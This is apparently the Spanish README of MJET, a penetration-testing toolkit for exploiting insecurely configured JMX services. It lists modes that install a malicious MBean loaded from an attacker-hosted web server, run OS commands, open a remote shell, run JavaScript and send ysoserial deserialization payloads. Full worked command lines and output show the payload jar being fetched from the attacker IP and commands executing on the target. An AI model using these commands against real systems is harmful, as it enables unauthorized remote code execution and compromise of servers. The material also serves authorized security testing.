MJET por MOGWAI LABS

Kit de explotación JMX de MOGWAI LABS

MJET es un fork de sjet, que fue desarrollado por siberas pero ya no se mantiene activamente. MJET es mantenido por el equipo de MOGWAI LABS, que también proporcionó la mayor parte del código base original de sjet.

MJET permite explotar fácilmente servicios JMX configurados de forma insegura. Información de contexto adicional puede encontrarse aquí y aquí.

!!! Importante: Este proyecto ya no se mantiene

Este repositorio ya no se mantiene activamente. Le recomendamos utilizar qtcs beanshooter en su lugar.

Requisitos previos

Jython 2.7
Ysoserial (para explotar vulnerabilidades de deserialización a través de JMX)
opendmk_jmxremote_optional_jar-1.0-b01-ea.jar (para soportar el protocolo alternativo de mensajes JMX (JMXMP))

Uso

MJET implementa una interfaz CLI (utilizando argparse):

jython mjet.py targetHost targetPort MODE password (modeOptions)

Donde

targetHost - la dirección IP del objetivo
targetPort - el puerto del objetivo donde se está ejecutando JMX
MODE - el modo del script
modeOptions - las opciones para el modo seleccionado

Soporte de autenticación (si la autenticación JMX está habilitada):

--jmxrole - el nombre de usuario
--jmxpassword - la contraseña

Otros argumentos opcionales:

--jmxmp - Usar JMX-MP (requiere cargar un JAR adicional)
--localhost_bypass - puerto de servicio para el proxy en el bypass de localhost
--shell - Usar el shell definido
--rmiObjectName - nombre RMI del endpoint de JMX

Modos y modeOptions

install - instala el payload en el objetivo actual
- password - la contraseña que se debe establecer después de una instalación exitosa
- payload_url - URL completa para cargar el payload
- payload_port - puerto para cargar el payload
uninstall - desinstala el payload del objetivo actual
changepw - cambia la contraseña de un payload ya implementado
- password - la contraseña para acceder al MBean instalado
- newpass - La nueva contraseña
command - ejecuta el comando CMD en targetHost
- password - la contraseña para acceder al MBean instalado
- CMD - el comando a ejecutar
shell - inicia un shell simple en targetHost (con las limitaciones de Runtime.exec() de Java)
- password - la contraseña para acceder al MBean instalado
javascript - ejecuta un archivo javascript FILENAME en targetHost
- password - la contraseña para acceder al MBean instalado
- FILENAME - el javascript a ejecutar
deserialize - envía un payload de ysoserial al objetivo
- gadget - gadget proporcionado por ysoserial, por ejemplo, CommonsCollections6
- cmd - comando a ejecutar
webserver - simplemente ejecuta el servidor web MLET
- payload_url - URL completa para cargar el payload
- payload_port - puerto para cargar el payload

Ejemplos

Instalación del MBean de payload en un servicio JMX vulnerable

En el siguiente ejemplo, el servicio JMX vulnerable se ejecuta en 10.165.188.23 puerto 2222, y el atacante tiene la dirección IP 10.165.188.1. El servicio JMX se conectará al servicio web del atacante para descargar el archivo jar del payload. MJET iniciará el servicio web necesario en el puerto 8000.

Después de la instalación exitosa del MBean, la contraseña predeterminada se cambia a la contraseña que se proporcionó en la línea de comandos ("super_secret").

h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet>

Instalación con credenciales JMX (también necesita una configuración débil del servidor):

h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 install super_secret http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password

h0ng10@rocksteady:~/mjet$

Ejecutando el comando 'ls -la' en un objetivo Linux:

Después de instalar el payload, podemos usarlo para ejecutar comandos del sistema operativo en el objetivo.

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady ~/w/mjet>

Ejecución en modo shell

Si no desea cargar Java para cada comando, puede usar el "modo shell" para obtener un shell de comandos limitado.

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  5
[+] Use command 'exit_shell' to exit the shell
>>> ls -la
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8

mjet

Más Populares